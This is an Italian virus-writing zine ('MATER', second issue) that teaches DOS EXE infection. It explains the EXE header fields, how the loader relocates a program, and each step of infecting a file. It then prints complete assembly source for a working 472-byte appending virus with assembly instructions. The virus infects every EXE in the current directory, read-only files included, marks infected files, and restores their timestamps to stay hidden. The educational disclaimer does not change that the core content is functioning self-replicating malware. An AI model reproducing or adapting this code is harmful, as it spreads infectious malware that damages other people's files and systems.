Minima Anonyma Tabularia Ex Reti

nihil vacuum neque sine signo apud MATER

Liber Secundus

 

 

Salve, vera Neumannis proles.

Questa è la zine ufficiale di Familia, un gruppo che ha come oggetto di studio la programmazione virale.

MATER ha come scopo l’esame delle tecniche di programmazione virale e delle problematiche ad esse associate. MATER è una raccolta di contributi volontari (e non) di alcuni code-writers del pianeta, in lingua italiana ed è rivolta soprattutto a chi si avvicina per la prima volta al mondo dei virus e necessita dei concetti di base che spesso sono dati per scontati nelle zines reperibili in Rete. Non è, tuttavia, una esemplificazione discorsiva priva di contenuto tecnico: per comprendere gli esempi ivi contenuti è necessaria una minima conoscenza dell’architettura di un elaboratore e del linguaggio assembler.

 

E’ nostra convinzione che una migliore conoscenza delle metodologie infettive digitali sia la principale strada per accrescere la sicurezza degli utenti e fornire un contributo a chi opera nel settore della programmazione. Ritenendo il vero nemico della sicurezza la disinformazione, auspichiamo che una più profonda comprensione in questo campo dissipi i dubbi, aiuti la ricerca e contribuisca al progresso dell’educazione informatica. Sursum Corda ! 

Ictus/Familia

 

 

ATTENZIONE

Questa pubblicazione contiene informazioni e codice sorgente relativi alla sicurezza informatica. L’obbiettivo di queste informazioni è di aiutare gli utenti ad accrescere la propria capacità di programmazione. Questo materiale è a puro scopo didattico e non include codice distruttivo né documenti attinenti ad alcuna attività illegale. Si declina ogni responsabilità nel caso chiunque utilizzi le suddette informazioni per creare, compilare e diffondere intenzionalmente programmi diretti a danneggiare o interrompere un sistema informatico o telematico, ovvero a provocarne l'interruzione, totale o parziale, o l'alterazione del suo funzionamento Art. 615-quinquies (Legge n. 547/93 pubblicata in Gazzetta Ufficiale n. 305 del 30.12.1993)

 

 

 

   Cari bambini, eccovi la pappa numero due, tutta dedicata ai virus infettori di files EXE in ambiente DOS.

                                                                                                                                   Milla/Familia       

 

 

 

 § MATER liber secundus §

 

 

indice

L’ambiente DOS: Virus EXE infettori

1. Generalità

2. L’Header

3. La rilocazione

4. Un esempio

appendice: strutture di memoria dei file COM 

 

VIRUS EXE INFETTORI SOTTO DOS

        

 

1.Generalità

 

Come già visto nel capitolo relativo ai COM infettori, i files COM sono i programmi binari più semplici. Essi sono anche chiamati immagini di memoria. A causa della loro restrizione a 64 K (la misura di un segmento), i programmi COM non sono più usati e nell’ambiente Windows stanno scomparendo, sebbene siano ancora utilizzati per piccole applicazioni.

 

La principale differenza di un programma EXE è che la misura di quest’ultimo non è limitata a 64 K. Questo significa che la misura di un EXE non ha limiti se non quelli imposti dalla quantità di memoria del proprio HD. D’altra parte un programma più grande di 64K non può essere caricato ed eseguito in un singolo segmento. Un programma EXE consiste di più segmenti, per il codice, lo stack e i dati. 

 

Un’altra importante caratteristica è che un EXE può essere caricato in qualsiasi allocazione di memoria (a differenza dell’indirizzo 100H del COM). Questo fatto impone un aggiustamento di tutte le istruzioni che contengono indirizzi di segmento, come

 

     * JMP/CALL FAR PTR nome

     * MOV reg, SEG nome

     * MOV reg_seg, valore

 

Il processo è chiamato “rilocazione”, ed è eseguito quando l’EXE è caricato in memoria.  Nel processo di infezione l’header del file host viene modificato l’indirizzo di partenza (CS:IP), così come la lunghezza dell’host.

 

2. l’header   

 

L’EXE deve quindi contenere, assieme ai segmenti di codice, un’area che contiene a sua volta informazioni sui simboli di rilocazione, l’indirizzo di partenza, l’indirizzo del segmento di stack etc. Queste informazioni  sono immagazzinate nella prima parte dell’EXE, chiamata header.

struttura dell’header:    

 

     indirizzo misura     contenuto         descrizione

 

     +  0h     Word      4Dh  5Ah       EXE signature (4Dh='M' and 5Ah='Z').Questi due caratteri ASCII

                                                       (M e Z) stanno per Mark  Zbikowski, uno dei maggiori programatori

                                                       DOS della  Microsoft.

 

     *  2h     Word      PartPag          Lunghezza del file mod (modulo) 512 lunghezza mod 512=nr di bytes

                                                       nell’ultima pagina

 

     *  4h    Word       PageCnt         Misura del file in pagine di 512 bytes incluso l’header. Se l’ultima

                                                       pagina non è piena viene inclusa ugualmente

 

        6h     Word       ReloCnt          Numero di voci nella tabella delle rilocazioni

 

        8h    Word        HdrSize          Misura dell’header in paragrafi gd16 bytes. Questo è usato per

                                                        “locare” l’inizio del programma reale (modulo load) nel file

 

     0Ah    Word        MinMem          Memoria minima richiesta oltre la fine del programma caricato in

                                                         paragrafi da 16bytess.

 

    0Ch    Word         MaxMem         Memoria massima richiesta oltre il programma caricato in paragrafi

                                                         da 16bytess.

 

 *  0Eh   Word         ReloSS             Offset del Segmento dello of stack segment.(Usato per il settaggio del     

                                                         registro SS)                 

 

 *  10h   Word         ExeSP              Valore per il registro SP (stack pointer) quando il programma viene

                                                         lanciato

 

+  12h   Word         Checksum         controllo

 

*  14h  Word           ExeIP                Valore per il registro IP (puntatore all’istruzione iniziale quando il

                                                          programma viene lanciato

 

*  16h  Word          ReloCS               Offset del Segmento del codice.(Usato per il settaggio del registro

                                                          CS)                                  

 

+  18h  Word          TablOff               Offset nel file della tabella delle rilocazioni (spesso a 1Ch)                       

 

+  1Ah  Word        Overlay                Marcatore di Overlay (0 per modulo base).      

 

1Ch       Byte             ?                        (non documentato) di solito =  to 01h

 

  ?            4*?         Ofs  Seg                Tabella delle rilocazioni

  ....                                                      Ha [EXE+6] DWORD voci.               

                             Ofs  Seg

   ?             ?                                        Filler

 

Nota: gli indirizzi marcati con '*' sono utilizzati dal virus; quelli '+'=opzionali. Gli indirizzi opzionali possono essere usati per differenti operazioni, come:

 

-         la “signature” (MZ or ZM) può essere usata per controllare se il file trovato è un vero EXE o se è solo un file ridenominato;

-         il Checksum dall’indirizzo 12h può essere un posto utilizzato per marcatura di infezione (ID bytes=one or two bytes that will "mark" an infected file);

-         la TablOff dall’ indirizzo 18h viene utilizzata per verificare se il file è un normale EXE DOS o un file PE o NE. Se la TablOff è più grande di 64 (40h), l’EXE è in formato NE o PE. (NOTA:  tutti i   "normali" files Windows EXE hanno TablOff uguale a '@'.

-         il valore word Overlay  locato all’indirizzo 1Ah può essere usato per controlllare se il file ha overlays o no. Compara Overlay a 0. Se uguale allora il file non ha overlays ed è ok. Se no, allora il file ha overlays interni  e infettandolo si distruggerebbero le informazioni.

   

Può essere un buon esercizio controllare i valori di PartPag e PageCnt di un file EXE  e comparare questi valori con I valori reali (la misura reale del file). Per trovare la misura di un file si usa la seguente formula:

                                            misura_file:=((PageCnt-1)*512)+PartPag

   

La tabella di rilocazione contiene gli indirizzi di tutte le parole che necessitano un "aggiustamento". La tabella di rilocazione ha ReloCnt elementi cominciano da TablOff posizione nel file, e la sua misura è ReloCnt*4 bytes.

   

struttura di un programma EXE caricato in memoria:

 

 

    .-----------------------------------. <------ ES = 0000h

    |  Program Segment Prefix ( PSP ) |     '-- DS = 0000h

    |       100h bytes ( 256d )               |

    |-----------------------------------| <--- CS:IP ( pointed by header )

    |                                                    |

    |    Program Code Segment ( CS ) |

    |                                                    |

    |-----------------------------------|

    |                                                    |

    |    Program Data Segment ( DS )  |

    |                                                    |

    |-----------------------------------| <------ SS = 0000h

    |                                                    |

    |   Program Stack Segment ( SS )  |

    |                                                    |

    '-----------------------------------' <--- SS:SP ( pointed by header )

 

 

3. La rilocazione

 

 La rilocazione del programma è effettuata dalla funzione DOS (4bh) e contiene i seguenti punti:

 

   1) Crea un PSP con la funzione DOS  26h;

   2) Legge 1Ch bytes dall’EXE (la porzione formattata dell’header) in una area di memoria;

   3) Determina la misura del modulo load = ((PageCnt*512)-(HdrSize*16))-PartPag;

   4) Determina l’indirizzo del modulo load = (HdrSize*16);

   5) Seleziona un indirizzo di segmento START_SEG per il caricamento (di solito PSP+10h);

   6) Legge il modulo load nella memoria partendo da START_SEG:0000;

   7) LSEEK (set file pointer) all’indirizzo della tabella di rilocazione (TablOff);

   8) per ogni elemento di rilocazione (ReloCnt):

      - legge l’elemento come due 16-bit words (I_OFF,I_SEG)

      - trova l’indirizzo di rilocazione ref RELO_SEG=(START_SEG+I_SEG)

      - legge il valore corrente, la word dall’indirizzo RELO_SEG:I_OFF

      - performa il segment fixup aggiungendo START_SEG a quella word

      - salva il vaolre al suo indirizzo priginale (RELO_SEG:I_OFF)

   9) Alloca memoria per il programma accordando MinMem e MaxMem

   10) Initializza i registri e esegue il programma:

      - ES=DS=PSP

      - SS=START_SEG+ReloSS

      - SP=ExeSP

      - CS=START_SEG+ReloCS

      - IP=ExeIP

 

   Nota: l’inizializzazione di CS e IP è fatta con

     PUSH START_SEG+ReloCS

     PUSH ExeIP

     RETF

   

    La principale differenza tra l’infezione di un COM e di un EXE è che l’EXE ha bisogno di qualche calcolo. La replicazione di un COM avveniva salvando i primi 3 (o più) bytes dall’inizio del programma in un buffer, andare quindi alla fine del programma, scriverci il codice virale, costruire un’istruzione JMP con la locazione della fine del programma (e di inizio del codice virale), scrivere un JUMP all’inizio del programma e finalmente ridare il controllo al programma host.

Il processo infettivo di un EXE segue questi passaggi:

 

1.      leggere l’header dell’EXE  e caricarlo in un buffer di 1ch bytes;

2.      salvare dall’header alcuni valori di cui avremo bisogno quando ripasseremo il controllo all’host ReloSS, ExeSP, ExeIP and ReloCS da 0eh, 10h, 14h and 16h - rispettivamente I registri SS, SP, IP and CS);

3.      calcolare I nuovi valori (offsets) per il segmento di stack (SS) e il segmento di codice (CS), aggiustare il registro IP;

4.      andare a EOF e scrivere il codice del virus;

5.      calcolare I nuovi valori di PartPag (offset 02h) e PageCnt (offset 04h);

6.      andare a BOF (inizio file) e sovrascrivere il vecchio header con la nostra copia modificata;

7.      passare il controllo all’host resettando lo stack al valore originario e ripsristinando il CS:IP al punto dell’originale entry point, e DS e ES al punto del PSP.

   

   Cosa significa calcolare i nuovi valori del CS:IP ?  CS:IP=ReloCS:ExeIP; ReloCS=indirizzo del segmento codice... questo valore rappresenta l’indirizzo del codice del programma. Perché viene  modificato ? Il processo infettivo deve effettuare un JUMP al codice virus. Questo non può essere fatto come con un file COM, inserendo un JMP all’inizio del file. In un EXE si fa in modo che ReloCS punti al  virus invece che al codice dell’host. Poi, quando il virus ha terminato il suo lavoro, il processo passerà il controllo all’host ripristinando il vecchio valore di ReloCS (in memoria, non sul disco).

ExeIP=valore per il registro IP quando il programma parte... ma che cosa è questo registro ? Il registro IP contiene l’indirizzo dell’istruzione corrente. Così, viene modifato questo registro per fare in modo che punti alla prima istruzione del virus (l’entry point del virus).

   

Questa è la parte del calcolo di CS e IP. Il registro del segmento di stack SS (stack segment) dovrebbe essere uguale al registro CS (code segment), così dopo che è trovato il valore di CS, SS sarà uguale.

   

Un’altra cosa che deve essere modificata nell’header è PartPag e PageCnt. Dato che il file è aumentato in dimensioni, si ricalcola la misura di esso riscrivendo i nuovi valori.

 

 

4. Un esempio

 

 

Esempio- Virus EXE infettore non sovrascrittore.

 

 

   ;********************************************************************************

   ; Name: Esempio

   ; Type: EXE Infettore

   ; Size: 472 bytes

   ; il virus cerca files EXE nella directory corrente. Se non trova files, il virus  

   ; ritorna il controllo all’host. Se trovaun file, prova ad infettarlo. Se il file   

   ;è già stato infettato, lo chiude e ne cerca un altro. Il ciclo si ripete fino a

   ;che tutti gli EXE della dir. corrente non sono infettati. Il virus infetta read-

   ;only files e ripsristina gli attributi time/date.

   ;Il virus controlla se: - il file è realmente un EXE (MZ scan)

   ;                       - il file è un Windows EXE

   ;                       - il file ha internal overlays

   ; Assemblato con: tasm esempio.asm

   ;                 tlink /t esempio.obj

   ;********************************************************************************

   code segment

      assume cs:code,ds:code

      org 100h                      ;comincia a 100h => 1st host sarà un COM

   virus_start:

      db 0e9h,3,0                   ;jump all’inizio

   our_host:

      db 0cdh,20h,0                 ;=Int 20h

   begin:

      call find_offset

   find_offset:

   ; -------------------- Punto 1 – Calcolo il DELTA offset -----------------------

      pop bp                        ;bp contiene IP all’inizio

      sub bp,offset find_offset     ;=>bp=delta offset

   

      push ds es                    ;salvo gli originali DS e ES

   

      push cs

      pop ds                        ;CS=DS

   

   ; ----------------- Punto 2 – Salva parti dell’header nellostack ---------------

   ; _cs è l’indirizzo usato dalla nostra istruzione di JMP per tornare all’host

   ; exe_cs è il registro CS originale

      mov ax,word ptr [bp+exe_cs]   ;eguaglia _cs a exe_cs

      mov word ptr [bp+_cs],ax

   

   ;salva CS:IP e SS:SP nello stack

      push [bp+exe_cs]              ;save CS

      push [bp+exe_ip]              ;save IP

      push [bp+exe_ss]              ;save SS

      push [bp+exe_sp]              ;save SP

   

   ; -------------------------- Punto 3 – Setta un nuovo DTA ----------------------

      mov ah,1ah                    ;funzione DOS=Set Disk Transfer Address

      lea dx,[bp+offset dta]        ;setta un nuovo buffere per DTA

      int 21h

   

   ; ------------------------- Punto 4 – cerca un EXE -----------------------------

      mov ah,4eh                    ;funzione DOS=cerca il primo file

      lea dx,[bp+filespec]          ;cerca solo files (*.EXE)

      mov cx,7                      ;qualsiasi attributo

   facciamolo:

      int 21h

      jnc prossimo                 ;se non c’è errore continua

      jmp exit                     ;se errore ritorna il controllo all’host

   prossimo:

   ; ----------------------- Punto 5 – leggo gli attributi ------------------------

      mov ax,4300h                  ;funzione DOS=Get File Attributes

      lea dx,[bp+offset dta+1eh]    ;leggo il nome file dal DTA (offset 1eh)

      int 21h

      mov word ptr [bp+file_attr],cx      ;salvo gli attributi

   

   ; ----------------- Punto 6 – Setta i nuovi attributes (solo archivio) ---------

      mov ax,4301h                  ;funzione DOS=Set File Attributes

      lea dx,[bp+offset dta+1eh]    ;legge il nome file dal (offset 1eh)

      xor cx,cx                     ;setta attributi “archive only”

      int 21h

   

   ; ------------------- Punto 7 – Apre il file per RW (read-write) ---------------

      mov ax,3d02h                  ;funzione DOS=Open File For Read-Write

      lea dx,[bp+offset dta+1eh]    ;legge il  nome file da DTA (offset 1eh)

      int 21h

      jnc continua                  ;se no errore, continua

      jmp abort                     ;se errore rimette i vecchi attributi e cerca un

                                    ;altro file

   continua:

      xchg bx,ax                    ;mette l’ahndle del file in bx

   

   ; ------------------------ Punto 8 – legge  il time/date del file --------------

      mov ax,5700h                  ;funzione DOS=Get File Time/Date

      int 21h

      mov word ptr [bp+file_time],cx      ;salva ora

      mov word ptr [bp+file_date],dx      ;salva data

   

   ; ------------------------ Punto 9 – legge l’header ----------------------------

      mov ah,3fh                    ;funzione DOS=Read From File

      mov cx,1ch                    ;legge l’EXE header (1ch bytes)

      lea dx,[bp+offset header]     ;salva in buffer 'header'

      int 21h

   

   ; ----------------- Punto 10 – controlla se il file è un EXE reale -------------

      cmp word ptr [bp+header],'ZM' ;controlla se i primi 2 bytes sono MZ or ZM

      je infetta

      cmp word ptr [bp+header],'MZ'

      je infetta

      jmp un_altro                  ;se non uguale allore il file non è un reale EXE

                                    ;ed è un file ridenominato

   infetta:

   ; -------------- Punto 11 – controlla se il file è già infettato ---------------

      cmp word ptr [bp+header+10h],'DV'   ;controlla per i nostri ID bytes

      jne fatto

      jmp un_altro                   ;se uguale allora il file è già stato infettato                                   ;infettato

   fatto:

   ; --------------- Punto 12 – controlla se il file è un Windows EXE -------------

 ;Nota: si potrebbe anche controllare se è NE or PE comparando se è più grande di 64

      cmp byte ptr [bp+header+18h],'@'    ;controlla se il file è un WinEXE

      jne no_win

      jmp un_altro                   ;è un WinEXE here. non possiamo infettarlo in

                                    ;questo modo….

   no_win:

   ; ------------- Punto 13 – controlla se il file ha internal overlays -----------

      cmp word ptr [bp+header+1ah],0      ;controlla per internal overlays

      je no_overlay

      jmp un_altro

   no_overlay:

      push bx                       ;salva il file handle

   

   ; -------------- Punto 14 - Salva parti importanti dall’header -----------------

      mov ax,word ptr [bp+header+0eh]      ;salva SS

      mov word ptr [bp+exe_ss],ax

      mov ax,word ptr [bp+header+10h]      ;salva SP

      mov word ptr [bp+exe_sp],ax

      mov ax,word ptr [bp+header+14h]      ;salva IP

      mov word ptr [bp+exe_ip],ax

      mov ax,word ptr [bp+header+16h]      ;salva CS

      mov word ptr [bp+exe_cs],ax

   

   ; ------------------- Punto 15 – andiamo a EOF (end of file) ------------------

      mov ax,4202h                  ;funzione DOS=Set File Pointer (Seek) a EOF

      xor cx,cx

      cwd

      int 21h

   

      push ax dx                    ;ax e dx contengono la misura del file

   

   ; ---------------- Punto 16 – Calcolo il nuovo indirizzo di CS:IP  ------------

   ;

   ; Abbiamo bisogno di prendere la misura dell’header in paras. Poi dobbiamo   

   ; convertirla in bytes (moltiplicandola per 16). Dopodiché dobbiamo sottrarre la

   ; misura dell’header dall misura del file e ripristinarla nella forma seg:ofs.

   ; Noi faremo questo dividendola per 16.

   ;

      mov bx,word ptr [bp+header+8h]      ;prendo la misura dell’header in para

 

   ; un paragrafo è di 16 bytes e noi abbiamo bisogno della misura in bytes. Per

   ; questo motivo la moltiplichiamo per 16:

      mov cl,4

      shl bx,cl                     ;shl ruota i bits a sinistra di 4 posizioni

                                    ;questo equivale a moltiplicare per 16.

   ;ora, BX è uguale alla lunghezza dell’header in bytes

   ;AX contiene la misura del file (low word)

      sub ax,bx                     ;ora sottraiamo la misura dell’header dalla

                                    ;misura del file

      sbb dx,0                      ;se CF è settato esso sotrarrà 1, altrimenti 0

   ;ora, DX:AX conterrà la misura del file-la misura dell’header

 

   ; dobbiamo convertire DX:AX nella forma segmento:indirizzo perché ora è solo un

   ;valore. Per convertirlo a segmento:indirizzo dobbiamo dividerlo per 16.

      mov cx,10h                    ;cx=10h=16

   

      div cx                        ;divido per 16

                                    ; AX=(DX:AX)  /  16

                                    ; DX=(DX:AX) mod 16

   ;ora, DX:AX contiene il CS:IP entry point (stored backwards - IP:CS)

   

   ;salvo il nuovo CS:IP le buffer header. Salvo anche  SS e insewrisco il nostro ID

      mov word ptr [bp+header+14h],dx     ;metto indirizzo (ExeIP)=new entry point

      mov word ptr [bp+header+16h],ax     ;metto indirizzo di segmento di code seg

      mov word ptr [bp+header+0eh],ax     ;metto indirizzo di segmento di stack seg

      mov word ptr [bp+header+10h],'DV'   ;metto ID bytes at 10h

   ; si potrebbe usare 12h (ChkSum) invece di 10h...

   

      pop dx ax bx                  ;ripristina gli originali file size and file

                                    ;handle

   

   ; ---------- Punto 17 – Calcolo I nuovi valori di PartPag and PageCnt ---------

   ;

   ; E’ semplice. Dobbiamo aggiungere la misura del codice virale alla misura del

   ; file, e convertirlo in pagine dividendolo per 512.

   ;

   

   ; AX e DX contengono la misura del file

      add ax,heap-begin             ;aggiunge la misura del virus size all’originale

                                    ;misura del size

      adc dx,0                      ;sw CF add 1, altrimenti 0

      mov cx,512                    ;converte il risultato in pagine dividendo

      div cx                        ;per 512

      inc ax                        ;aggiunge uno per arrotondamento superiore

      mov word ptr [bp+header+4],ax       ;mette nuovo PageCnt

      mov word ptr [bp+header+2],dx       ;mette nuovo PartPag

   

   ; ------------------- Punto 18 – scrivo il codice virus a EOF -----------------

      mov ah,40h                    ;funzione DOS=Write To File

      mov cx,heap-begin             ;cs=size to write=size virus

      lea dx,[bp+offset begin]      ;cominciando da "begin"

      int 21h

   

   ; ----------------- Punto 19 - Seek a BOF (beginning of file) -----------------

      mov ax,4200h                  ;funzione DOS=Set File Pointer (Seek) to BOF

      xor cx,cx

      cwd

      int 21h

   

   ; ---------------------- Punto 20 – Scrivo il nuovo header --------------------

      mov ah,40h                    ;funzione DOS=Write To File

      mov cx,1ch                    ;cx=size to write=misura dell’EXE header

      lea dx,[bp+offset header]     ;scrivo da "header" buffer

      int 21h

   

   ; ----------------- Punto 21 – Ripristina ora e data --------------------------

      mov dx,word ptr [bp+file_date]      ;dx=originale data

      mov cx,word ptr [bp+file_time]      ;cx=originale ora

      mov ax,5701h                        ;funzione DOS=Set File Time/Date

      int 21h

   un_altro:

   ; ------------------------- Punto 22 – Chiudo il file -------------------------

      mov ah,3eh                    ;funzione DOS=Close File

      int 21h

   abort:

   ; ------------------- Punto 23 – Ripristino attributi originali ---------------

      mov ax,4301h                  ;funzione DOS=Set File Attributes

      lea dx,[bp+offset dta+1eh]    ;prende il nome file da DTA

      mov cx,word ptr [bp+file_attr]      ;ripristina attributi

      int 21h

   

   ; -------------------- Punto 24 – cerca per un nuovo file EXE -----------------

      mov ah,4fh                    ;funzione DOS=Find Next Matching File

      lea dx,[bp+filespec]          ;cerca solo (*.EXE)

      jmp facciamolo

   exit:

   ; ------------- Punto 25 – Ripristina parti dell’header dallo stack -----------

   ;ripristina CS:IP e SS:SP dallo stack

      pop [bp+exe_sp]               ;ripr. SP

      pop [bp+exe_ss]               ;ripr. SS

      pop [bp+exe_ip]               ;ripr. IP

      pop [bp+exe_cs]               ;ripr. CS

   ; ------------------------- Punto 26 – Ripristina DTA -------------------------

      mov ah,1ah   ;funzione DOS=Set Disk Transfer Address

      mov dx,80h   ;cambio il DTA a quello originale (il DTA è all’indirizzo 80h nel

                   ;PSP)

      int 21h

   

      pop es ds                     ;ripristino ES e DS

   

   ; ------------------- Punto 27 – rimetto il controllo all’host ----------------

      mov ax,es    ;ax punterà al PSP

      add ax,10h   ;salto il PSP (ax<-PSP+10h)

      add word ptr cs:[bp+_cs],ax

   

   ; _ip è uno degli indirizzi del nostro jump per ritornare all’host

   ; vediPunto 2 per settare CS

      mov bx,word ptr cs:[bp+exe_ip]      ;make _ip = exe_ip

      mov word ptr cs:[bp+_ip],bx

   

      cli                           ;pulisce il flag di interrupt

      mov sp,word ptr cs:[bp+exe_sp]      ;aggiusta ExeSP

      add ax,word ptr cs:[bp+exe_ss]      ;ripristina lo stack

      mov ss,ax                     ;aggiusta ReloSS

      sti                           ;setta il flag di interrupt

   

      xor ax,ax    ;pulisce I registri: ax,bx,cx,dx,si,di

      xor bx,bx

      xor cx,cx

      xor dx,dx

      xor di,di

      xor si,si

      xor bp,bp

   

      db 0eah                       ;jmp far ptr seg:ofs (CS:IP)

   _ip          dw 0                ;IP e CS registri usati come indirizzi per

   _cs          dw 0                ;db 0eah (JMP) istruzione

   

   ;qui riposano gi valori originali di CS:IP e SS:SP

   exe_cs       dw 0fff0h           ;CS:IP

   exe_ip       dw 0

   exe_sp       dw 0                ;SS:SP

   exe_ss       dw 0

   filespec     db '*.exe',0

   heap:                        ;questa è la fine del codice virus

   file_attr    dw ?

   file_time    dw ?

   file_date    dw ?

   header       db 1ch dup (?)

   dta          db 43 dup (?)

   code ends

   end virus_start

   ;********************************************************************************

 

APPENDICE

 

STRUTTURE DI MEMORIA DEI FILES COM     

 

 

A grande richiesta, e ad ulteriore chiarimento del numero precedente…

 

1. Struttura dei file COM

 

Una delle strutture più semplici per un programma eseguibile è quella dei COM. Questo tipo di eseguibile ha solo un segmento di 64 kilobytes, e all’interno di questo segmento convivono codice, dati e stack. In un COM gli indirizzi di base sono uguali: CS=DS=SS=ES. I programmi COM a differenza degli EXE non hanno header, ed essi sul disco sono l’esatta copia di ciò che sarà caricato in memoria. Quello che noi vediamo in un  .COM sarà lo stesso di ciò che la memoria contiene quando lo eseguiamo (questo è facilmente verificabile con il programma DEBUG).

 

Quando un COM viene esguito, il DOS costruisce il PSP, (Program Segment Prefix) un’area di meoria che parte all’indirzzo 0 del segmento libero. Tale area occupa  256 bytes (0x100H). Subito dopo il PSP viene caricata l’mmagine del COM image, che è letto dal file su disco. Per questo motivo un COM parte da 100H (org 100h). Un Com può occupare 64KB, incluso il suo PSP and lo spazio per lo stack. Anche se il nostr COM è solo 200 bytes, il DOS assegnerà ad esso un intero segmento di 64KB. Se il nostro COM è  200 bytes, più 256 del PSP, noi abbiamo occupato solo 456 bytes in memoria.

 

Cosa succede del resto del segmento ? Questa parte è chiamata heap. Spesso l’heap è utilizzato come un buffer per memorizzarci dati e strutture come per esempio per la DTA nella routine infettiva, o per la lettura della MBR nei virus multipartizione

 

immaginiamo di avere un file di 3KB nel disco. Esso sarà così strutturato:

 

        0          100h             3 KB                                                  64 K

        ------------------------------------------------------------------

        |   PSP       |  codice       |      HEAP                                            |

        |                 |   COM      |                                                             |

        ------------------------------------------------------------------

 

 

 

2. il PSP

 

PSP=Program Segment Prefix.

E’ la struttura di controllo che il DOS costruisce quando sta per essere eseguito un programma.

 

   campo       Dec     Hex   lunghezza  descrizione

 

1.                0         0         2        INT 20h

2.                2         2         2        Misura della memoria

3.                4         4         1        Riservato

4.                5         5         5        Call al dispatcher

5.               10       A        4         Vettore INT 22h

6.               14       E        4         Vettore INT 23h

7.               18       12      4         Vettore INT 24h

8.               22       16      22       Area usata dal DOS

9.               44       2C     2         Segmento delle variabili di ambiente

10.           46       2E     34        Area di alvoro per il  DOS

11.           80       50     3          Istruzioni INT 21h, RETF

12.           83       53     2          Riservato

13.           85       55     7          Etensione FCB 1

14.           92       5C     9         FCB  1

15.          101      65     7          Estensione FCB  2

16.          108      6C    20        FCB 2

17.          128      80     1          Lunghezza linea di comando

18.          129      81    127       Linea di comando

19.          128      80    128       DTA

 

 

3. la DTA

 

la DTA (Disk Transfer Area) e' cosi' strutturata:

 

 offset    bytes       contenuto

  0          21          riservato 

  1           1           attributi del file

 22           2          ora ultima modifica

 24           2          data ultima modifica

 26           4          misura del file in bytes

 30          13         nome del file (ASCIIZ)